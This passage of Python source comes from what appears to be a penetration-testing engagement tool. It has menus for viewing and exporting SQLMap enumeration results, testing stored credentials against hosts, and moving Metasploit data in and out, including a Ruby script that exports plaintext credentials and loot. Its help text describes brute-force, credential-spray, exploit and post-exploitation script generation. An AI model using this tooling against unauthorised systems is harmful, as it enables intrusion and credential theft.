            tables = sorted(all_tables.get(db_name, []))
            
            DesignSystem.clear_screen()
            console.print(f"\n[bold cyan]Database:[/bold cyan] [bold green]{db_name}[/bold green]")
            console.print(f"[bold cyan]Target:[/bold cyan] {target}")
            console.print(f"[bold cyan]DBMS Type:[/bold cyan] {dbms}")
            console.print(f"[bold cyan]Tables:[/bold cyan] {len(tables)}")
            
            if tables:
                console.print("\n[bold]Table List:[/bold]\n")
                for tbl in tables:
                    console.print(f"  • [cyan]{tbl}[/cyan]")
            else:
                console.print("\n[yellow]No tables enumerated for this database.[/yellow]")
            
            click.pause()
        else:
            click.echo(click.style("Invalid selection!", fg='red'))
            click.pause()
    
    except (KeyboardInterrupt, click.Abort):
        return


def _view_sqlmap_table_details(all_tables, table_to_target, all_columns):
    """Interactive detailed view of a specific table."""
    from rich.console import Console
    
    console = Console()
    
    if not all_tables:
        click.echo(click.style("\n✗ No tables discovered!", fg='red'))
        click.pause()
        return
    
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("TABLE DETAILS", bold=True, fg='cyan'))
    click.echo("=" * 70)
    
    # Build list of all tables
    table_list = []
    for db in sorted(all_tables.keys()):
        for tbl in sorted(all_tables[db]):
            table_list.append((db, tbl))
    
    console.print("\n[bold]Available Tables:[/bold]\n")
    for idx, (db, tbl) in enumerate(table_list, 1):
        table_key = f"{db}.{tbl}"
        target = table_to_target.get(table_key, 'N/A')
        col_count = len(all_columns.get(table_key, []))
        console.print(f"  [{idx}] [green]{db}[/green].[cyan]{tbl}[/cyan] on {target} ({col_count} columns)")
    
    console.print("\n  [q] Back\n")

    try:
        choice_input = click.prompt("Select table", type=str, default='q').strip()

        if choice_input == 'q':
            return

        try:
            choice = int(choice_input)
        except ValueError:
            return

        if 1 <= choice <= len(table_list):
            db_name, table_name = table_list[choice - 1]
            table_key = f"{db_name}.{table_name}"
            target = table_to_target.get(table_key, 'N/A')
            columns = sorted(all_columns.get(table_key, []))
            
            DesignSystem.clear_screen()
            console.print(f"\n[bold cyan]Database:[/bold cyan] [green]{db_name}[/green]")
            console.print(f"[bold cyan]Table:[/bold cyan] [bold cyan]{table_name}[/bold cyan]")
            console.print(f"[bold cyan]Target:[/bold cyan] {target}")
            console.print(f"[bold cyan]Columns:[/bold cyan] {len(columns)}")
            
            if columns:
                console.print("\n[bold]Column List:[/bold]\n")
                for col in columns:
                    console.print(f"  • [yellow]{col}[/yellow]")
            else:
                console.print("\n[yellow]No columns enumerated for this table.[/yellow]")
            
            click.pause()
        else:
            click.echo(click.style("Invalid selection!", fg='red'))
            click.pause()
    
    except (KeyboardInterrupt, click.Abort):
        return


def _view_sqlmap_column_details(all_columns, table_to_target):
    """Interactive detailed view of columns."""
    from rich.console import Console
    
    console = Console()
    
    if not all_columns:
        click.echo(click.style("\n✗ No columns discovered!", fg='red'))
        click.pause()
        return
    
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("COLUMN DETAILS", bold=True, fg='cyan'))
    click.echo("=" * 70)
    
    # Group by table
    for table_key in sorted(all_columns.keys()):
        columns = sorted(all_columns[table_key])
        target = table_to_target.get(table_key, 'N/A')
        
        if '.' in table_key:
            db, tbl = table_key.split('.', 1)
            console.print(f"\n[green]{db}[/green].[bold cyan]{tbl}[/bold cyan] on {target}")
        else:
            console.print(f"\n[bold cyan]{table_key}[/bold cyan] on {target}")
        
        console.print(f"[dim]({len(columns)} columns)[/dim]\n")
        
        for col in columns:
            console.print(f"  • [yellow]{col}[/yellow]")
    
    click.pause()


def _export_sqlmap_data_menu(engagement_id, all_databases, all_tables, all_columns):
    """Menu for exporting SQLMap data."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("EXPORT SQLMAP DATA", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")
    
    click.echo("  [1] Export Databases List")
    click.echo("  [2] Export Tables List")
    click.echo("  [3] Export Columns List")
    click.echo("  [4] Export All Data")
    click.echo("\n  [q] Cancel\n")

    try:
        choice_input = click.prompt("Select option", type=str, default='q', show_default=False).strip()

        if choice_input == 'q':
            return
        try:
            choice = int(choice_input)
        except ValueError:
            return
        if choice == 1:
            _export_sqlmap_databases(engagement_id, list(all_databases))
        elif choice == 2:
            _export_sqlmap_tables(engagement_id, all_tables)
        elif choice == 3:
            _export_sqlmap_columns(engagement_id, all_columns)
        elif choice == 4:
            _export_sqlmap_all(engagement_id, all_databases, all_tables, all_columns)
        else:
            click.echo(click.style("Invalid selection!", fg='red'))
            click.pause()
    
    except (KeyboardInterrupt, click.Abort):
        return


def _export_sqlmap_tables(engagement_id: int, all_tables: dict):
    """Export list of discovered tables to file."""
    from datetime import datetime
    
    if not all_tables:
        click.echo(click.style("\n✗ No tables to export!", fg='red'))
        click.pause()
        return
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    default_filename = f"sqlmap_tables_{engagement_id}_{timestamp}.txt"
    
    filepath = click.prompt("Export to file", default=default_filename, type=str)
    
    try:
        with open(filepath, 'w') as f:
            f.write(f"SQLMap Discovered Tables\n")
            f.write(f"Engagement ID: {engagement_id}\n")
            f.write(f"Export Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"\nTotal Tables: {sum(len(tables) for tables in all_tables.values())}\n")
            f.write("=" * 60 + "\n\n")
            
            for db in sorted(all_tables.keys()):
                f.write(f"Database: {db}\n")
                for tbl in sorted(all_tables[db]):
                    f.write(f"  • {tbl}\n")
                f.write("\n")
        
        total_tables = sum(len(tables) for tables in all_tables.values())
        click.echo()
        click.echo(click.style(f"✓ Exported {total_tables} table(s) to:", fg='green'))
        click.echo(f"  {filepath}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def _export_sqlmap_columns(engagement_id: int, all_columns: dict):
    """Export list of discovered columns to file."""
    from datetime import datetime
    
    if not all_columns:
        click.echo(click.style("\n✗ No columns to export!", fg='red'))
        click.pause()
        return
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    default_filename = f"sqlmap_columns_{engagement_id}_{timestamp}.txt"
    
    filepath = click.prompt("Export to file", default=default_filename, type=str)
    
    try:
        with open(filepath, 'w') as f:
            f.write(f"SQLMap Discovered Columns\n")
            f.write(f"Engagement ID: {engagement_id}\n")
            f.write(f"Export Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"\nTotal Columns: {sum(len(cols) for cols in all_columns.values())}\n")
            f.write("=" * 60 + "\n\n")
            
            for key in sorted(all_columns.keys()):
                if '.' in key:
                    db, tbl = key.split('.', 1)
                    f.write(f"Table: {db}.{tbl}\n")
                else:
                    f.write(f"Table: {key}\n")
                
                for col in sorted(all_columns[key]):
                    f.write(f"  • {col}\n")
                f.write("\n")
        
        total_columns = sum(len(cols) for cols in all_columns.values())
        click.echo()
        click.echo(click.style(f"✓ Exported {total_columns} column(s) to:", fg='green'))
        click.echo(f"  {filepath}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def _export_sqlmap_all(engagement_id: int, all_databases: set, all_tables: dict, all_columns: dict):
    """Export all SQLMap data to file."""
    from datetime import datetime
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    default_filename = f"sqlmap_all_data_{engagement_id}_{timestamp}.txt"
    
    filepath = click.prompt("Export to file", default=default_filename, type=str)
    
    try:
        with open(filepath, 'w') as f:
            f.write(f"SQLMap Complete Data Export\n")
            f.write(f"Engagement ID: {engagement_id}\n")
            f.write(f"Export Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write("=" * 60 + "\n\n")
            
            # Databases
            f.write(f"DATABASES ({len(all_databases)})\n")
            f.write("-" * 60 + "\n")
            for db in sorted(all_databases):
                f.write(f"  • {db}\n")
            f.write("\n")
            
            # Tables
            total_tables = sum(len(tables) for tables in all_tables.values())
            f.write(f"TABLES ({total_tables})\n")
            f.write("-" * 60 + "\n")
            for db in sorted(all_tables.keys()):
                f.write(f"\nDatabase: {db}\n")
                for tbl in sorted(all_tables[db]):
                    f.write(f"  • {tbl}\n")
            f.write("\n")
            
            # Columns
            total_columns = sum(len(cols) for cols in all_columns.values())
            f.write(f"COLUMNS ({total_columns})\n")
            f.write("-" * 60 + "\n")
            for key in sorted(all_columns.keys()):
                if '.' in key:
                    db, tbl = key.split('.', 1)
                    f.write(f"\nTable: {db}.{tbl}\n")
                else:
                    f.write(f"\nTable: {key}\n")
                
                for col in sorted(all_columns[key]):
                    f.write(f"  • {col}\n")
        
        click.echo()
        click.echo(click.style(f"✓ Exported complete SQLMap data to:", fg='green'))
        click.echo(f"  {filepath}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def _export_sqlmap_databases(engagement_id: int, databases: list):
    """Export list of discovered databases to file."""
    from datetime import datetime
    
    if not databases:
        click.echo(click.style("\n✗ No databases to export!", fg='red'))
        click.pause()
        return
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    default_filename = f"sqlmap_databases_{engagement_id}_{timestamp}.txt"
    
    filepath = click.prompt("Export to file", default=default_filename, type=str)
    
    try:
        with open(filepath, 'w') as f:
            f.write(f"SQLMap Discovered Databases\n")
            f.write(f"Engagement ID: {engagement_id}\n")
            f.write(f"Export Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"\nTotal Databases: {len(databases)}\n")
            f.write("=" * 60 + "\n\n")
            
            for db in sorted(databases):
                f.write(f"  • {db}\n")
        
        click.echo()
        click.echo(click.style(f"✓ Exported {len(databases)} database(s) to:", fg='green'))
        click.echo(f"  {filepath}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def test_credentials_menu():
    """Interactive credential testing menu."""
    from souleyez.core.credential_tester import CredentialTester
    from souleyez.storage.engagements import EngagementManager

    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("✗ No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("TEST CREDENTIALS AGAINST HOSTS")
    click.echo("=" * 80 + "\n")
    
    click.echo(click.style("This will test all credentials with passwords against all active hosts.", fg='cyan'))
    click.echo(click.style("Valid credentials will automatically create Findings.", fg='cyan', bold=True))
    click.echo()

    tester = CredentialTester()
    
    # Quick stats
    creds = tester.cm.list_credentials(engagement_id)
    testable = [c for c in creds if c.get('password')]
    
    click.echo(f"Found {len(creds)} total credentials ({len(testable)} have passwords to test)")
    click.echo()
    
    if not testable:
        click.echo(click.style("No credentials with passwords found to test.", fg='yellow'))
        click.pause("\nPress any key to continue...")
        return
    
    if not click.confirm("Start credential testing?", default=True):
        return
    
    click.echo()
    click.echo(click.style("Testing credentials... This may take a few minutes.", fg='yellow'))
    click.echo()
    
    # Run the tests
    results = tester.test_all_credentials(engagement_id)
    
    # Display results
    click.echo()
    click.echo(click.style("=" * 80, fg='cyan'))
    click.echo(click.style("CREDENTIAL TESTING COMPLETE", bold=True))
    click.echo(click.style("=" * 80, fg='cyan'))
    click.echo()
    click.echo(f"Total Tests:          {results['total_tests']}")
    click.echo(click.style(f"✓ Successful:         {results['successful']}", fg='green', bold=True))
    click.echo(click.style(f"✗ Failed:             {results['failed']}", fg='red'))
    click.echo(click.style(f"📋 Findings Created:  {results['findings_created']}", fg='yellow', bold=True))
    click.echo()
    
    # Show successful authentications
    if results['successful'] > 0:
        click.echo(click.style("Successful Authentications:", bold=True, fg='green'))
        for test in results['results']:
            if test['success']:
                click.echo(f"  ✓ {test['service'].upper()}: credential ID {test['credential_id']} on host ID {test['host_id']}")
        click.echo()
    
    click.pause("Press any key to continue...")



def import_data_menu():
    """Interactive data import menu."""
    from pathlib import Path

    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo("IMPORT DATA")
        click.echo("=" * 70 + "\n")

        click.echo("Import data from external sources into the current engagement.\n")

        # Menu options
        click.echo(click.style("IMPORT SOURCES:", bold=True))
        click.echo("  [1] Metasploit Framework (XML export)")
        click.echo("  [2] Nmap (XML export) - Coming soon")
        click.echo("  [3] Nessus (.nessus file) - Coming soon")
        click.echo("  [q] ← Back")
        click.echo()

        try:
            choice_input = click.prompt("Select import source", type=str, default='q').strip()

            if choice_input == 'q':
                return
            try:
                choice = int(choice_input)
            except ValueError:
                continue
            if choice == 1:
                _import_msf_data()
            elif choice in [2, 3]:
                click.echo(click.style("\n  ⚠️  This import source is coming soon!", fg='yellow'))
                click.pause("\nPress any key to continue...")
            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def _create_custom_msf_xml():
    """Create custom MSF XML export with selective data types from MSF workspace."""
    import subprocess
    
    click.echo()
    click.echo(click.style("CUSTOM MSF EXPORT", fg='cyan', bold=True))
    click.echo()
    
    # Ask which workspace to export from
    workspace = click.prompt("Enter MSF workspace name to export (or press Enter for current)", 
                           default="", show_default=False)
    
    click.echo()
    click.echo("Select data to include in export:")
    include_hosts = click.confirm("  Include hosts?", default=True)
    include_services = click.confirm("  Include services?", default=True)
    include_vulns = click.confirm("  Include vulnerabilities?", default=True)
    include_notes = click.confirm("  Include notes?", default=True)
    include_credentials = click.confirm("  Include credentials?", default=True)
    include_loot = click.confirm("  Include loot?", default=False)
    
    click.echo()
    
    # Suggest export path
    default_export = os.path.expanduser("~/.msf4/souleyez_custom_export.xml")
    export_path = click.prompt("Export file path", 
                               default=default_export,
                               type=str)
    
    export_path = os.path.expanduser(export_path)
    
    click.echo()
    click.echo(click.style("Creating custom MSF export...", fg='yellow'))
    
    # Build MSF Ruby script to do selective export
    ruby_script = """
# Custom selective export
require 'rexml/document'

doc = REXML::Document.new
doc << REXML::XMLDecl.new('1.0', 'UTF-8')
root = doc.add_element('MetasploitV4')

# Workspace info
ws_elem = root.add_element('workspace')
ws_elem.add_element('name').text = workspace.name
ws_elem.add_element('description').text = "Custom export from #{workspace.name}"

"""
    
    if include_hosts:
        ruby_script += """
# Export hosts
framework.db.hosts.each do |host|
  host_elem = root.add_element('host')
  host_elem.add_element('address').text = host.address.to_s
  host_elem.add_element('name').text = host.name if host.name
  host_elem.add_element('os-name').text = host.os_name if host.os_name
  host_elem.add_element('os-flavor').text = host.os_flavor if host.os_flavor
  host_elem.add_element('state').text = host.state
  host_elem.add_element('created-at').text = host.created_at.to_s if host.created_at
  host_elem.add_element('updated-at').text = host.updated_at.to_s if host.updated_at
end
"""
    
    if include_services:
        ruby_script += """
# Export services
framework.db.services.each do |svc|
  svc_elem = root.add_element('service')
  svc_elem.add_element('host').text = svc.host.address.to_s if svc.host
  svc_elem.add_element('port').text = svc.port.to_s
  svc_elem.add_element('proto').text = svc.proto
  svc_elem.add_element('name').text = svc.name if svc.name
  svc_elem.add_element('info').text = svc.info if svc.info
  svc_elem.add_element('state').text = svc.state
end
"""
    
    if include_vulns:
        ruby_script += """
# Export vulnerabilities
framework.db.vulns.each do |vuln|
  vuln_elem = root.add_element('vuln')
  vuln_elem.add_element('host').text = vuln.host.address.to_s if vuln.host
  vuln_elem.add_element('name').text = vuln.name
  vuln_elem.add_element('info').text = vuln.info if vuln.info
  vuln_elem.add_element('refs').text = vuln.refs.join(', ') if vuln.refs
  vuln_elem.add_element('port').text = vuln.service.port.to_s if vuln.service
  vuln_elem.add_element('proto').text = vuln.service.proto if vuln.service
end
"""
    
    if include_notes:
        ruby_script += """
# Export notes
framework.db.notes.each do |note|
  note_elem = root.add_element('note')
  note_elem.add_element('host').text = note.host.address.to_s if note.host
  note_elem.add_element('ntype').text = note.ntype
  note_elem.add_element('data').text = note.data.to_s if note.data
  note_elem.add_element('port').text = note.service.port.to_s if note.service
  note_elem.add_element('proto').text = note.service.proto if note.service
end
"""
    
    if include_credentials:
        ruby_script += """
# Export credentials
framework.db.creds.each do |cred|
  cred_elem = root.add_element('credential')
  
  if cred.public
    cred_elem.add_element('username').text = cred.public.username
  end
  
  if cred.private
    cred_elem.add_element('password').text = cred.private.data
    cred_elem.add_element('type').text = cred.private.type
  end
  
  if cred.origin && cred.origin.service_id
    svc = framework.db.services.find(cred.origin.service_id)
    cred_elem.add_element('host').text = svc.host.address.to_s if svc && svc.host
    cred_elem.add_element('port').text = svc.port.to_s if svc
    cred_elem.add_element('service-name').text = svc.name if svc && svc.name
  end
end
"""
    
    if include_loot:
        ruby_script += """
# Export loot
framework.db.loots.each do |loot|
  loot_elem = root.add_element('loot')
  loot_elem.add_element('host').text = loot.host.address.to_s if loot.host
  loot_elem.add_element('ltype').text = loot.ltype
  loot_elem.add_element('name').text = loot.name if loot.name
  loot_elem.add_element('info').text = loot.info if loot.info
  loot_elem.add_element('path').text = loot.path if loot.path
end
"""
    
    ruby_script += f"""
# Write XML file
File.open('{export_path}', 'w') do |file|
  formatter = REXML::Formatters::Pretty.new(2)
  formatter.compact = true
  formatter.write(doc, file)
end

puts "Export written to {export_path}"
"""
    
    # Save Ruby script to temp file
    import tempfile
    with tempfile.NamedTemporaryFile(mode='w', suffix='.rb', delete=False) as f:
        script_path = f.name
        f.write(ruby_script)
    
    try:
        # Build MSF commands
        msf_commands = []
        if workspace:
            msf_commands.append(f"workspace {workspace}")
        msf_commands.append(f"resource {script_path}")
        msf_commands.append("exit")
        
        command_string = "; ".join(msf_commands)
        
        click.echo(f"Running MSF export...")
        click.echo()
        
        # Run msfconsole with Ruby script
        cmd = ["msfconsole", "-q", "-x", command_string]
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
        
        # Clean up temp script
        os.unlink(script_path)
        
        if result.returncode == 0:
            # Check if file was created
            if os.path.exists(export_path):
                file_size = os.path.getsize(export_path) / 1024
                click.echo(click.style(f"✓ Custom export created successfully!", fg='green', bold=True))
                click.echo(f"  File: {export_path}")
                click.echo(f"  Size: {file_size:.1f} KB")
                click.echo()
                
                click.echo("Export includes:")
                if include_hosts:
                    click.echo("  ✓ Hosts")
                if include_services:
                    click.echo("  ✓ Services")
                if include_vulns:
                    click.echo("  ✓ Vulnerabilities")
                if include_notes:
                    click.echo("  ✓ Notes")
                if include_credentials:
                    click.echo("  ✓ Credentials")
                if include_loot:
                    click.echo("  ✓ Loot")
                click.echo()
                return export_path
            else:
                click.echo(click.style(f"✗ Export file not found: {export_path}", fg='red'))
                click.echo("The export may have failed or the workspace is empty.")
        else:
            click.echo(click.style("✗ Export failed", fg='red'))
            if result.stderr:
                click.echo(f"Error: {result.stderr[:300]}")
    
    except subprocess.TimeoutExpired:
        click.echo(click.style("✗ Export timed out", fg='red'))
        if os.path.exists(script_path):
            os.unlink(script_path)
    except FileNotFoundError:
        click.echo(click.style("✗ msfconsole not found", fg='red'))
        click.echo("Please install Metasploit Framework")
        if os.path.exists(script_path):
            os.unlink(script_path)
    except Exception as e:
        click.echo(click.style(f"✗ Error: {e}", fg='red'))
        if os.path.exists(script_path):
            os.unlink(script_path)
    
    click.pause("\nPress any key to continue...")
    return None


def _help_create_msf_export():
    """Helper to guide user through MSF export creation."""
    import subprocess
    import tempfile
    
    click.echo()
    click.echo(click.style("─" * 70, fg='cyan'))
    click.echo(click.style("MSF EXPORT HELPER", bold=True, fg='cyan'))
    click.echo(click.style("─" * 70, fg='cyan'))
    click.echo()
    
    click.echo("Choose export method:")
    click.echo("  [1] Export from existing MSF workspace")
    click.echo("  [2] Create custom XML file from current engagement")
    click.echo("  [q] Cancel")
    click.echo()
    
    choice = click.prompt("Select option", type=int, default=1, show_default=False)
    
    if choice == 0:
        return None
    elif choice == 2:
        return _create_custom_msf_xml()
    
    # Option 1: Export from MSF workspace
    click.echo()
    # Ask which workspace to export
    workspace = click.prompt("Enter MSF workspace name to export (or press Enter for current)", 
                           default="", show_default=False)
    
    # Suggest export path
    default_export = os.path.expanduser("~/.msf4/souleyez_export.xml")
    export_path = click.prompt("Export file path", 
                               default=default_export,
                               type=str)
    
    export_path = os.path.expanduser(export_path)
    
    click.echo()
    click.echo(click.style("Creating MSF export...", fg='yellow'))
    
    # Build MSF commands
    msf_commands = []
    if workspace:
        msf_commands.append(f"workspace {workspace}")
    msf_commands.append(f"db_export -f xml {export_path}")
    msf_commands.append("exit")
    
    command_string = "; ".join(msf_commands)
    
    try:
        # Run msfconsole to export
        cmd = ["msfconsole", "-q", "-x", command_string]
        
        click.echo(f"Running: msfconsole -q -x \"{command_string}\"")
        click.echo()
        
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
        
        if result.returncode == 0:
            # Check if file was created
            if os.path.exists(export_path):
                file_size = os.path.getsize(export_path) / 1024
                click.echo(click.style(f"✓ Export created successfully!", fg='green', bold=True))
                click.echo(f"  File: {export_path}")
                click.echo(f"  Size: {file_size:.1f} KB")
                click.echo()
                return export_path
            else:
                click.echo(click.style(f"✗ Export file not found: {export_path}", fg='red'))
                click.echo("The export may have been created elsewhere or the workspace is empty.")
        else:
            click.echo(click.style("✗ Export failed", fg='red'))
            if result.stderr:
                click.echo(f"Error: {result.stderr[:200]}")
    
    except subprocess.TimeoutExpired:
        click.echo(click.style("✗ Export timed out", fg='red'))
    except FileNotFoundError:
        click.echo(click.style("✗ msfconsole not found", fg='red'))
        click.echo("Please install Metasploit Framework")
    except Exception as e:
        click.echo(click.style(f"✗ Error: {e}", fg='red'))
    
    click.pause("\nPress any key to continue...")
    return None


def _import_msf_data():
    """Import Metasploit Framework data."""
    from souleyez.importers.msf_importer import MSFImporter
    from souleyez.storage.engagements import EngagementManager
    import glob

    click.echo()
    click.echo(click.style("IMPORT METASPLOIT DATA", bold=True, fg='cyan'))
    click.echo()
    click.echo(click.style("Note:", bold=True) + " You must export data from MSF before importing.")
    click.echo()
    click.echo("To export from MSF console:")
    click.echo("  msf6 > db_export -f xml /path/to/export.xml")
    click.echo()
    
    # Offer to help create export
    created_export_path = None
    if click.confirm("Would you like help creating an MSF export now?", default=False):
        created_export_path = _help_create_msf_export()
        # After export, continue with import
        click.echo()
    
    # If export was just created, use that file by default
    xml_file = None
    if created_export_path and os.path.exists(created_export_path):
        if click.confirm(f"\nUse the newly created export file?\n  {created_export_path}", default=True):
            xml_file = created_export_path
            click.echo(click.style(f"✓ Selected: {xml_file}", fg='green'))
    
    # If no file selected yet, search for recent XML files in common locations
    if not xml_file:
        click.echo(click.style("Looking for recent MSF XML exports...", fg='yellow'))
    
    common_locations = [
        os.path.expanduser("~/.msf4/"),
        os.path.expanduser("~/"),
        "/tmp/",
        "/root/.msf4/",
        os.getcwd(),
    ]
    
    found_files = []
    for location in common_locations:
        if os.path.exists(location):
            try:
                # Find XML files modified in last 7 days
                xml_files = glob.glob(os.path.join(location, "*.xml"))
                for f in xml_files:
                    # Check if file was modified in last 7 days
                    if os.path.getmtime(f) > (os.path.getmtime(__file__) if hasattr(os.path, 'getmtime') else 0):
                        if os.path.getsize(f) > 100:  # Skip tiny files
                            found_files.append(f)
            except (PermissionError, OSError):
                pass
    
    # Sort by modification time (newest first)
    found_files.sort(key=lambda x: os.path.getmtime(x), reverse=True)
    found_files = found_files[:5]  # Show top 5
    
    if not xml_file and found_files:
        click.echo(click.style("\nRecent XML files found:", fg='green'))
        for idx, f in enumerate(found_files, 1):
            size_kb = os.path.getsize(f) / 1024
            modified = os.path.getmtime(f)
            from datetime import datetime
            mod_time = datetime.fromtimestamp(modified).strftime('%Y-%m-%d %H:%M')
            click.echo(f"  [{idx}] {f}")
            click.echo(f"      ({size_kb:.1f} KB, modified: {mod_time})")
        click.echo()
        
        use_found = click.confirm("Use one of these files?", default=True)
        if use_found:
            file_choice = click.prompt("Select file number", type=int, default=1)
            if 1 <= file_choice <= len(found_files):
                xml_file = found_files[file_choice - 1]
                click.echo(click.style(f"✓ Selected: {xml_file}", fg='green'))
            else:
                click.echo(click.style("Invalid selection", fg='red'))
                click.pause("\nPress any key to continue...")
                return
        else:
            xml_file = None
    elif not xml_file:
        click.echo(click.style("No recent XML files found in common locations.", fg='yellow'))
        xml_file = None
    
    # If no file selected, prompt for manual entry
    if not xml_file:
        click.echo("\nCommon export locations:")
        click.echo("  • ~/.msf4/export.xml")
        click.echo("  • /tmp/msf_export.xml")
        click.echo("  • ~/msf_data.xml")
        click.echo("  • $(pwd)/export.xml (current directory)")
        click.echo()
        
        xml_file = click.prompt("Enter path to MSF XML export file", type=str, default="")
        
        if not xml_file:
            click.echo(click.style("No file specified", fg='yellow'))
            click.pause("\nPress any key to continue...")
            return

    # Expand ~ and environment variables
    xml_file = os.path.expanduser(xml_file)
    xml_file = os.path.expandvars(xml_file)
    
    # Check if file exists
    from pathlib import Path
    if not Path(xml_file).exists():
        click.echo(click.style(f"\n✗ File not found: {xml_file}", fg='red'))
        click.echo("\nTip: Make sure to export from MSF first:")
        click.echo("  msf6 > db_export -f xml /tmp/export.xml")
        click.pause("\nPress any key to continue...")
        return

    # Get current engagement
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("✗ No engagement selected!", fg='red'))
        click.pause("\nPress any key to continue...")
        return

    engagement_id = current_ws['id']

    # Use smart importer to preview data
    from souleyez.importers.smart_importer import SmartImporter, format_preview_summary
    
    smart = SmartImporter()
    click.echo()
    click.echo(click.style("🔍 Analyzing file...", fg='cyan'))
    
    analysis = smart.analyze_msf_xml(xml_file)
    
    if 'error' in analysis:
        click.echo(click.style(f"\n✗ Error analyzing file: {analysis['error']}", fg='red'))
        click.pause("\nPress any key to continue...")
        return
    
    # Show preview
    click.echo(format_preview_summary(analysis))
    
    # Ask which types to import
    click.echo(click.style("SELECT DATA TO IMPORT:", bold=True, fg='cyan'))
    click.echo()
    
    import_types = []
    
    if analysis['hosts']['count'] > 0:
        if click.confirm(f"  Import {analysis['hosts']['count']} host(s)?", default=True):
            import_types.append('hosts')
            # Services are linked to hosts
            if analysis['services']['count'] > 0:
                if click.confirm(f"  Import {analysis['services']['count']} service(s)?", default=True):
                    import_types.append('services')
    
    if analysis['credentials']['count'] > 0:
        if click.confirm(f"  Import {analysis['credentials']['count']} credential(s)?", default=True):
            import_types.append('credentials')
    
    if analysis['vulnerabilities']['count'] > 0:
        if click.confirm(f"  Import {analysis['vulnerabilities']['count']} vulnerabilities as findings?", default=True):
            import_types.append('vulnerabilities')
    
    if analysis['web_paths']['count'] > 0:
        if click.confirm(f"  Import {analysis['web_paths']['count']} web vulnerability/path(s)?", default=True):
            import_types.append('web_paths')
    
    if not import_types:
        click.echo(click.style("\n  No data types selected for import.", fg='yellow'))
        click.pause("\nPress any key to continue...")
        return
    
    # Perform selective import
    click.echo()
    click.echo(click.style("🔄 Importing selected data...", fg='cyan'))
    
    try:
        results = smart.selective_import(xml_file, engagement_id, import_types)
        
        if 'error' in results:
            click.echo(click.style(f"\n✗ Import failed: {results['error']}", fg='red'))
        else:
            click.echo()
            click.echo(click.style("✓ Import completed successfully!", fg='green', bold=True))
            click.echo()
            click.echo("Import Summary:")
            for data_type, count in results.items():
                if count > 0:
                    click.echo(f"  • {data_type.title():15} {count}")
        
        click.echo()
        click.pause("Press any key to continue...")
    
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Import failed: {e}", fg='red'))
        import traceback
        traceback.print_exc()
        click.pause("\nPress any key to continue...")


def _show_msf_help():
    """Display comprehensive help for MSF Integration features with section-based navigation."""

    # Define all help sections and their content
    help_sections = [
        {
            "title": "RESOURCE SCRIPT GENERATION",
            "color": "cyan",
            "items": [
                {
                    "name": "1. Generate PsExec Script",
                    "desc": "Creates an MSF resource script to exploit writable SMB shares using PsExec.",
                    "prereq": "• Requires: Writable SMB shares (from SMB enumeration)\n         • Requires: Valid credentials (from credential store)",
                    "usage": "1. Run SMB enumeration first (Automation > SMB Share Enumeration)\n       2. Add valid credentials to store\n       3. Generate script and review targets\n       4. Launch with option 17"
                },
                {
                    "name": "2. Generate SSH Brute Force Script",
                    "desc": "Creates an MSF resource script for SSH password/key attacks.",
                    "prereq": "• Requires: Hosts with SSH services (port 22)\n         • Optional: Usernames and password lists",
                    "usage": "1. Ensure SSH services are enumerated\n       2. Generate script with custom wordlists if needed\n       3. Launch with option 17"
                },
                {
                    "name": "3. Generate Credential Spray Script",
                    "desc": "Creates an MSF script to spray credentials across multiple services.",
                    "prereq": "• Requires: Valid credentials from credential store\n         • Requires: Target hosts with services",
                    "usage": "1. Import or add credentials to SoulEyez\n       2. Generate script to test creds on all applicable services\n       3. Review and launch"
                },
                {
                    "name": "4. Generate Exploit Script",
                    "desc": "Creates targeted exploit scripts based on CVE or vulnerability.",
                    "prereq": "• Requires: Vulnerability findings with CVE references\n         • Requires: Matching MSF exploits",
                    "usage": "1. Run vulnerability scans (nmap, nuclei, etc.)\n       2. Select CVE or finding to exploit\n       3. Generate script with appropriate payloads\n       4. Review LHOST/LPORT settings before launch"
                },
                {
                    "name": "5. Generate Web Exploitation Script",
                    "desc": "Creates scripts for web-specific attacks (SQLi, LFI, RCE, etc.).",
                    "prereq": "• Requires: Web vulnerabilities from findings\n         • Requires: HTTP/HTTPS services enumerated",
                    "usage": "1. Run web scanners (nuclei)\n       2. Generate script targeting web vulns\n       3. Configure payloads and handlers"
                },
                {
                    "name": "6. Generate Post-Exploitation Script",
                    "desc": "Creates scripts for privilege escalation and lateral movement.",
                    "prereq": "• Requires: Active MSF sessions (see option 21)\n         • Requires: Compromised hosts",
                    "usage": "1. Establish initial foothold via exploits\n       2. Generate post-exploit script for pivoting\n       3. Includes: hashdump, mimikatz, token manipulation"
                },
                {
